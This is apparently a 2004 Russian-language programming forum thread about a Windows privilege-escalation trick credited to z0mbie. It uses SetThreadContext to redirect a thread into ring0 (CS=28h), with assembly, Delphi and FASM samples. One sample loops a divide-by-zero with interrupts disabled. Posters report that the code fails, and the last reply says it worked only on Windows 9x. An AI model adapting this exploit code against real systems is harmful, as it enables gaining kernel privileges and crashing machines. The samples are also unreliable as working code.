В интернете я нашел статью z0mbie - он рассказывает как попасть в ring0 из под guest (кому интересна и кто занимается этой темой не ради взлома, а ради того, чтобы более углубленно понять работу винды обращайтесь на e-mail: [email protected] - только объединившись, мы достигним задуманной цели). Суть заключается в вызове всего одной функции: SetThreadContext (хочу вас обрадовать у меня есть ещё один алгоритм, так что пишите)
Эта функция устанавливает контекст, то есть все регистры для заданной нити.
Ситуация усложняется тем, что сохраненный контекст применяется (т.е. установка регистров происходит) при переходе из нуля в третье кольцо при переключении задач и при возврате в кернел из вызванных им процедур
нулевого кольца.
Таким образом мы подлавливаем момент, когда в контексте текущей нити
управление находится в нулевом кольце, а затем правим CS и EIP возврата
на 28h и адрес-процедуры-нулевого-кольца.
В результате вместо того, чтобы вернуться из нуля обратно в кернел,
управление возвращается к нам.

Вот код на asm'e, но что - то я переписал его на Delphi и нечего не вышло (мож, что я чего не так сделал):

push esp 0 0
push offset thread_ring3_code
push 0 0
callW CreateThread ; создаем новую нить
xchg ebx, eax ; EBX=хендл нити

push offset context
push ebx
callW GetThreadContext; получаем контекст нити

mov context._segcs, 28h ; меняем CS:EIP
mov context._eip, offset ring0_code

push offset context
push ebx
callW SetThreadContext; устанавливаем контекст

jmp $ ; чего-то ждем

thread_ring3_code: push 1
call Sleep ; пауза
jmp thread_ring3_code

ring0_code: push ss ss ; мы в нуле!
pop ds es
...

Что-то тут не то, либо ты не привел часть, где описан context, либо не привел весь код...
По-смыслу, должно быть так:

Код

mov [context.ContextFlags], CONTEXT_CONTROL push offset context push ebx callW GetThreadContext

Т.е. одной строчки не хватает...

Потом, зачем мудрить и отлавливать переход ? Создай поток c CREATE_SUSPENDED, подмени контекст потока, и делай ResumeThread...
Хотя, конечно, z0mbie виднее, но результат получается одинаков...

В Delphi это было бы так:

Код

procedure Ring0Code; assembler; asm  ... end; procedure TForm1.Button2Click(Sender: TObject); var  ctx : CONTEXT;  ThreadId : Cardinal;  hThread : THandle; begin  hThread := CreateThread(nil, 0, @Ring0Code, nil, CREATE_SUSPENDED, ThreadId);  ctx.ContextFlags := CONTEXT_CONTROL;  GetThreadContext(hThread, ctx);  ctx.SegCs := $28;  ctx.Eip := Cardinal(@Ring0Code);  SetThreadContext(hThread, ctx);  ResumeThread(hThread); end;

Цитата(p0s0l @ 14.5.2004, 11:51)

результат получается одинаков... В Delphi это было бы так: Код procedure Ring0Code; assembler; asm  ... end; procedure TForm1.Button2Click(Sender: TObject); var  ctx : CONTEXT;  ThreadId : Cardinal;  hThread : THandle; begin  hThread := CreateThread(nil, 0, @Ring0Code, nil, CREATE_SUSPENDED, ThreadId);  ctx.ContextFlags := CONTEXT_CONTROL;  GetThreadContext(hThread, ctx);  ctx.SegCs := $28;  ctx.Eip := Cardinal(@Ring0Code);  SetThreadContext(hThread, ctx);  ResumeThread(hThread); end;

p0s0l - ты привел код на Delphi, спасибо - у меня только два вопроса к тебе:
1) код этот работает ли ?!
2)Ты знаком с трудами Z0mbie!?

Кажется, Z0mbie писал для 98-ой и достаточно давно...

ой не работает

Код

format PE entry start include '%fasminc%\win32a.inc' section '.code' code readable executable start: invoke CreateThread,0,0,th,0,0,0 xchg ebx,eax invoke GetThreadContext,ebx,ctx mov [SegCs],28h mov [MyEip],dword r0 invoke SetThreadContext,ebx,ctx met: jmp met th: invoke Sleep,1 ;out dx,al jmp th r0: cli xor edx,edx xor eax,eax div edx jmp r0 section '.data' data readable writeable ctx: ContextFlags dw ? .Dr0 dw ? .Dr1 dw ? .Dr2 dw ? .Dr3 dw ? .Dr6 dw ? .Dr7 dw ? ControlWord dw ? StatusWord dw ? TagWord dw ? ErrorOffset dw ? ErrorSelector dw ? DataOffset dw ? DataSelector dw ? RegisterArea: times 80 db ? Cr0NpxState dw ? SegGs dw ? SegFs dw ? SegEs dw ? SegDs dw ? .Edi dw ? .Esi dw ? .Ebx dw ? .Edx dw ? .Ecx dw ? .Eax dw ? .Ebp dw ? MyEip: dw ? SegCs dw ? EFlags dw ? .Esp dw ? SegSs dw ? ExtendedRegisters: times 512 db ? include '%fasminc%\api.inc'

Этот трюк проходит только под 9x. Одно могу сказать точно -- когда я на 98 сидел и увлекался асмом этот метод прекрасно работал ;)